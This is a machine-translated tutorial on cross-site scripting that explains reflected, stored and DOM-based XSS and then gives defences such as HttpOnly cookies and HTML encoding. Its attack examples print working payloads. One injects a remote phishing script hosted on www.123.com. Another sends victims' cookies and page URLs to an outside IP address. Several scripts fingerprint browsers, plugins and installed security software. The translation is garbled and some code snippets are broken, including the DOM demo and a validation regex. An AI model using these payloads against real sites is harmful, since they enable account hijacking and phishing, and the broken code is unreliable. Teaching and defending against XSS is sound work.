Cross-site Scripting attack and prevention tips for Web Defense series Tutorials

Abstract: XSS cross-site scripting attacks have always been considered the most prevalent attack mode in client Web security. Because of the complexity of the web environment and the variability of the XSS cross-site scripting attacks, this type of attack is difficult to resolve completely. So, how does XSS cross-site scripting attack specific attack behavior, and how to effectively prevent it? This article has carried on the specific concrete example analysis to this.

XSS Cross-site scripting attacks have always been considered to be the most prevalent attack mode in client Web security. Because of the complexity of the web environment and the variability of the XSS cross-site scripting attacks, this type of attack is difficult to resolve completely. So, how does XSS cross-site scripting attack specific attack behavior, and how to effectively prevent it? This article has carried on the specific concrete example analysis to this.

Cross Site Scripting Attack (Scripting) is the use of Web programs to filter user input, input can be displayed on the page to affect other users of the HTML code, so as to steal user data, use the user body A way to attack a certain action or virus against a visitor. Cross-site scripting attacks are usually abbreviated as XSS for the purpose of separating the abbreviated CSS area of the cascading style sheet (cascading style Sheets).

The main function of the following page is to get the user input parameters as the user name, and in the page display "Welcome you, XXX" form, the specific code is as follows:

<?php

$username = $_get["name"];

echo "<p> welcome,". $username. "! </p> ";

?>

Normally, the user submits the value of the parameter name to its name in the URL, and then the data content is displayed in the page through the above code, such as the user submits the name "Zhang San", the full URL address is as follows:

Http://localhost/test.php?name= Zhang San

At this time, because the user input data information is normal data information, after the script processing page feedback source content for <p> welcome you, Zhang San!</p>. But what if the user submits data that contains code that might be executed by the browser? We continue to submit a value of name <script>alert (/My name is Zhang San/) </script> that is, the full URL address is
Http://localhost/test.php?name=<script>alert (/My name is Zhang San/) </script>

When accessed in the browser, we find a popup prompt.

Then what is the source code of the page at this time?

The source becomes "<p> Welcome, <script>alert (/My name is Zhang San/) </script>!</p>", from the source code we found that the user entered the data in,<script> The code in the </script> tag is executed by the browser, and this is not what the Web script program wants. This example is the simplest form of an XSS cross-site scripting attack, called Reflective XSS.

Classification of XSS Cross-site scripting attacks

According to the forms and effects of XSS cross-site scripting attacks, it can be divided into the following three categories.

One, reflective XSS cross-site scripting attacks

The reflective XSS script attack is like the XSS cross-site scripting attack we mentioned above, which simply outputs the data entered by the user directly or without a complete security filter in the browser, resulting in code data that can be executed by the browser in the output data. Since this type of cross-site code exists in the URL, hackers often need to trick or encrypt the distortion, and so on, the presence of malicious code links to the user, only after the user clicks to make the attack successful implementation.

Second, storage-type XSS cross-site scripting attacks

Storage-Type XSS script attack refers to the Web application will save the user input data information in the server side of the database or other file form, the Web page for data query display, the data content is obtained from the database, and the data content in the Web page to display, so the storage-type XSS has strong stability.

The most common scenario for storage-type XSS scripting attacks is in blogs or news release systems, where hackers write data that contains malicious code directly into an article or article comment, and all users who browse for articles or comments execute the inserted malicious code in their client browser environment. such as the popular Bo-blog program in the earlier version of the user submitted comments data filtering caused by the XSS cross-site Scripting attack vulnerability, hackers can submit in the article comments to insert malicious data UBB Code, submitted, Bo-blog program will save the data to the database, when the user browses the log, The inserted malicious code is executed.

Third, Dom-based XSS cross-site scripting attacks

The DOM-based XSS cross-site scripting attack is an XSS cross-site scripting attack that is formed by modifying the data information of the page DOM nodes. Unlike reflective XSS and storage-type XSS, the DOM-based XSS cross-site scripting attack often requires analysis of specific JavaScript DOM code and the use of XSS cross-site scripting attacks based on the actual situation. Let's take a detailed analysis of the following code:

<title>dom Based XSS demo</title>

<script>

function Xsstest ()

{

var str = document.getElementById ("input"). Value;

document.getElementById ("Output"). InnerHTML = "</img> ";

}

</script>

<body>

<div id= "Output" ></div>

<input type= "text" id= "input" size=50 value= ""/>

<input type= "button" value= "Submit" onclick= "Xsstest ()"/>

</body>

The function of the above code is to submit a picture of the URL address, the program will display the image in the page, such as we submit Baidu logo image address Http://www.baidu.com/img/baidu_sylogo1.gif, then the page shows the results .

When the user has entered the Baidu logo address, click on the "Submit" button, the "Submit" button onclick event will call the Xsstest () function. The Xsstest () function takes the user-submitted address, modifies the page's Dom node by innerHTML, writes the user-submitted data to the page in HTML code, and displays it. The HTML code output in the above example is "</img>".

The above situation is normal user input situation, how can hackers use this type of code to implement XSS cross-site scripting attacks? Hackers can construct the following data, enter "# ' onerror= ' Javascript:alert (/dom Based XSS test/)", in the browser after submission, found that the code is executed, there is a popup prompt.

XSS Cross-site scripting attack instance

The above is a simple introduction to three types of XSS cross-site scripting attacks. Read the above description friends may think, is it just pop-up a popup box is the XSS cross-site scripting attack? The answer is of course the negation, the use of XSS cross-site scripting attacks can achieve a variety of effects, and even can be said that the use of XSS cross-site scripting exploits is a hacker attack art, below we combine specific examples for detailed analysis and description, to learn about the XSS cross-site scripting attacks can do something.

XSS Cross-site scripting attacks using phishing

At present, the way of phishing attacks is more, including application for registration of similar domain names, the construction of a high degree of similarity of the site environment and the release of false winning information, but the above phishing attack method for a certain security awareness of netizens, it is difficult to achieve successful fishing attacks. However, phishing attacks through an XSS cross-site scripting attack could not withstand even a certain security-minded netizen. Here we present a phishing attack exploit using the XSS cross-site Scripting attack vulnerability of Shanda Games Forum (Currently, the vulnerability has been fixed). First of all, we need to understand is that the Grand game login is to use the Grand pass to log in, and the Grand Game Forum is also using a grand pass to log in, so if hackers by stealing the game player login Forum information, it is tantamount to stealing the player's game account and password. Grand Game Forum There is an XSS cross-site Scripting attack vulnerability, allowing hackers to obtain user's account and password through this vulnerability. There is a filter is not strict location for the user profile in the profile section, by entering the following code in the personal page bar:

[url]http://' style= ' A:expression (document.write ("<s\143ript language=javas\143ript src=http://www.123.com/1. JPG charset=gb23></s\143ript> ")) ' Target=_blank[/url]

Then use the account to post or reply to the Forum, so that when other players visit the posts we post or reply, the malicious code we insert will be executed. Http://www.123.com/1.jpg is the malicious code we construct, which is the page we use for fishing.

Display the content and the Grand Official Game Forum login page, if not by viewing the page source code is not able to see any problem from the page display, when the player enters the pass account and password information and click Login, the address of the account is not a grand server, but the hacker's server. From the source code, you can see the account and password sent to the hacker server account receiving program address.

XSS Cross-site scripting attacks steal user cookie information

Stealing user cookie information through an XSS cross-site scripting attack has been one of the most mainstream ways of exploiting XSS cross-site scripting exploits. When a user logs on to the Web application normally, the user gets a cookie containing a session token from the server:
Set-cookie:sessionid=6010d6f2f7b24a182ec3df53e65c88fca17b0a96fae129c3
A hacker can send a page that embeds malicious code to a user through an XSS cross-site scripting attack, and when the user clicks Browse, the hacker gets the cookie information of the user and uses that information to deceive the server, and can log in directly without the account password. Here we analyze and describe the XSS cross-site Scripting Attack vulnerability of NetEase mailbox. NetEase mailbox in the old version, there was an XSS cross-site Scripting attack vulnerability, hackers can construct the following code:

<xml id=i><x><c><! [Cdata[<! [Cdata[cript:xx=new Image (); xx.src= ' http://61.130.75.239/pic/163.asp?url= ' +escape (document. URL) + ' &cookie= ' +escape (document.cookie); "Width=0 height=0>]]>

</c></x></xml><span datasrc= #I datafld=c dataformatas=html></span>

and send a message containing 8 malicious code to the NetEase mailbox user, when the user opens a message containing malicious code, The code automatically sends the user's cookie information to the 163.asp file on the 61.130.75.239, where 163.asp is recorded as a cookie that is sent over.

After receiving a cookie, the login target mailbox can be implemented by cookie spoofing.

XSS Cross-Site scripting attack collects client environment information

The collection of client environment information is primarily applied to targeted penetration attacks or network-mounted attacks, such as understanding browser information used by client environments, operating system information, installation of components, and installation of security software. XSS Cross-site scripting attacks make it easier and faster to collect client environment information.

So how do you collect the above information from JavaScript? We construct the following script code and execute the code in the browser.

<script>

alert (navigator.useragent);

</script>

This information tells us the above two information, one is the browser type and version, and the other is the client environment operating system version.

Browser: MSIE 8.0 (Microsoft Internet Explorer, browser version is 8.0)

Operating system: Windows NT 6.1 (operating system type is Windows 7)

The client's browser and operating system information can be obtained through the above methods, and we continue to determine the client Environment component installation. The construction code is as follows:

<script>

try{

var object = new ActiveXObject ("Xunleibho.thunderiehelper");

} catch (e) {alert ("Thunderbolt software not Installed");

}

</script>

In the client environment, if you install Thunderbolt download software, Then the appropriate ActiveX control will be installed Xunleibho.thunderiehelper, the role of the above script is to load the Thunderbolt ActiveX control through a Web page script, if the control exists will not throw an exception, otherwise it will throw an exception and be captured by the script, run the above script code, the installation of Thunder The environment will not have any hint, the environment that does not install Thunderbolt will pop the window prompt "Thunderbolt software not Installed".

The control can be judged by how the Web page loads the ActiveX control, so how does the script determine if the security software is installed in the client environment? Here we take the rising security software as an example, the analysis describes how the use of XSS cross-site scripting exploits exploit to detect the presence of the client environment rising security software. We construct the code as follows:

<script>

var Havesoft=false;

var disk=[' C ', ' d '];

var soft=[': \\Program files\\rising\\ris\\backrav.dll/2/30994 '];

for (i=0;i<soft.length;i++)

{for (j=0;j<disk.length;j++)

{var img=new Image ();

res= ' res://' +disk[j]+soft[i];

Img.src=res;

if (img.height!=30)

{

Havesoft=true;

}

}

}

</script>

The function of the above code is to load the resource files in the client environment through JavaScript and the RES protocol, after the JavaScript script runs, it accesses the C and D disks of the client environment, accesses the resource files for the default installation path of rising, and attempts to load the resource files. If the load is successful, then the existence of the resource file, also indicates the existence of rising security software, and the variable Havesoft to true, after the end of the script detection, only need to detect whether the variable is true.

XSS Worm

Compared to the above three cases, it can be said that the XSS worm (XSS worm) the destructive power and influence are enormous. XSS worm mainly occurs in the interaction between users of the page, when the Web application to user input data information is not strictly filtered, by combining the asynchronous submission of Ajax, can be embedded in the malicious code, while the malicious code to send out, that is, to achieve the code of infection and transmission, It also forms an XSS worm.

When it comes to XSS worm, it is necessary to introduce the XSS worm attack of Sina Weibo, and we also use this attack as an example to analyze and describe the process of hacker malicious exploit to the widespread spread of XSS worm, and briefly analyze the malicious script file of the XSS worm.

See the My book "The Security of SNS website from the attack of Sina Weibo (next)", please do not repeat it.

Prevention of XSS cross-site scripting attack

Through the above description of the different scenarios of XSS cross-site scripting attacks, we learned that in a complex web environment, the use of XSS is ever-changing, how to effectively prevent the problem of XSS cross-site scripting attacks has always been the browser vendors and Web site security professionals concerned about the hot topic. Now many browser manufacturers in their own programs added to prevent XSS cross-site scripting attacks, such as Internet Explorer from IE8 has built-in XSS filter, Firefox also has the corresponding CSP, NoScript extension and so on. For the security technician of the website, it is critical to put forward an efficient technical solution to protect users from XSS cross-site scripting attacks. Below we combine the website security design, describe how to realize the prevention of XSS cross-site scripting attack by technical means.

Using HttpOnly

Originally proposed by Microsoft, HttpOnly has been adopted by a variety of popular browser vendors. HttpOnly's role is not to filter XSS cross-site scripting attacks, but instead the browser will disallow JavaScript on the page to access cookies with the HttpOnly attribute, resolving cookie session hijacking behavior after an XSS cross-site scripting attack.

HttpOnly is marked at Set-cookie, the cookie header format is set as follows:

Set-cookie: <name>=<value>[; <name>=<value>]

[; Expires=<date>] [; Domain=<domain_name>]

[; Path=<some_path>] [; secure] [; HttpOnly]

In PHP, for example, the Setcookie function has been added to the HttpOnly support in PHP 5.2, such as

<?php

Setcookie ("User", "admin", NULL, NULL, NULL, NULL, TRUE);

?>

With the above code, you can set the user this cookie, set it to the Httponly,setcookie function is set by sending the original HTTP header to the client, document will not be visible this cookie, Therefore, the use of document.cookie will not be taken to this cookie, that is, the protection of cookies first.

Perfect input and output checks

Due to the vulnerability of three types of XSS cross-site scripting attacks, part of the check for input and output is applied to reflective XSS and storage-type XSS, while others apply to DOM-based XSS.

A. Protection against reflective XSS and storage-type XSS

In most cases, the input check is the check of the trusted characters or the input data format, such as the user entered the registration account information only allowed to include letters, numbers, underscores and Chinese characters, for the input of all non-whitelist characters nonspacing considered illegal input. Data formats such as the input IP address, telephone number, email address, date and other data have a certain format specification, only the input information conforming to the data specification is allowed to pass the check.

The output check is mainly for the data presentation process, the data information should be HTML-encoded processing, may exist to cause the XSS cross-site scripting attack malicious characters encoded, without affecting the normal data display under the precondition of filtering malicious characters. Common characters that can cause XSS cross-site scripting attacks and their HTML encoding are as follows:

"&quot;

' &apos;

& &amp;

< &lt;

> &gt;

In addition to the usual encoding, any character can be HTML-encoded using its ASCII code, such as

% & #37;

* & #42;

B. Defending against Dom-based XSS

From the definition of the DOM-based XSS and its triggering method, we find that when the DOM-based XSS cross-site scripting attack occurs, the format of the malicious data is different from the traditional XSS cross-site script attack data format, and can even execute the attack behavior directly against the client without the server-side processing and the corresponding situation. , so the above methods we apply to protect against reflective XSS and storage-type XSS are not suitable for preventing DOM-based XSS cross-site scripting attacks.

For the input checking method of the DOM-based XSS Prevention, we find that the filtering effect of the corresponding security detection code on the client is more obvious than the server-side detection. For example, we can use the following client-side detection code to ensure that the data entered by the user contains only letters, numbers, and spaces, with the following code:

<script>

var str = document. URL;

str = str.substring (Str.indexof ("Username=") +9, str.length);

str = unescape (str);

var regex=/^ ([a-za-z0-9+\s]) *$/;

if (Regex.test (str))

document.write (str);

</script>

Similarly, we can also be implemented on the service side similar to the above data inspection functions, such as on the server side to detect whether the URL parameter is a predetermined parameter username, and the contents of the username parameter detection, confirm whether the data content is only a number, letters and space, to achieve data filtering on the service side. However, due to the controllability of the client data, the effect of this service-side detection is significantly weaker than the client detection.

The DOM-based XSS output check is similar to the reflection-type XSS vulnerability output check, where the Web application should HTML-encode the submitted data before inserting the user-controllable DOM data content into the document. Filtering the various dangerous characters and expressions that may exist in user-submitted data into a document in a safe manner, such as by performing HTML encoding in client-side JavaScript, can be done in the following functions.

function Jsencode (str)

{

var d = document.createelement (' div ');

D.appendchild (document.createTextNode (str));

return d.innerhtml;

}

As one of the biggest threats in Web application security, XSS cross-site scripting attacks not only endanger the normal operation of Web application business, but also bring direct security impact on the client environment and users accessing the Web application business. Although XSS cross-site scripting attacks can be used in a complex web application environment, it is possible for network security personnel to completely block XSS cross-site scripting attacks by analyzing and processing various environments of Web applications in detail. How to effectively prevent and prevent XSS cross-site scripting attacks, ensure the business security and normal operation of the Web application system, protect the client users from the XSS cross-site scripting attack behavior, is the common responsibility of Web application System Manager and network security product developer.

Cross-site Scripting attack and prevention tips for Web Defense series Tutorials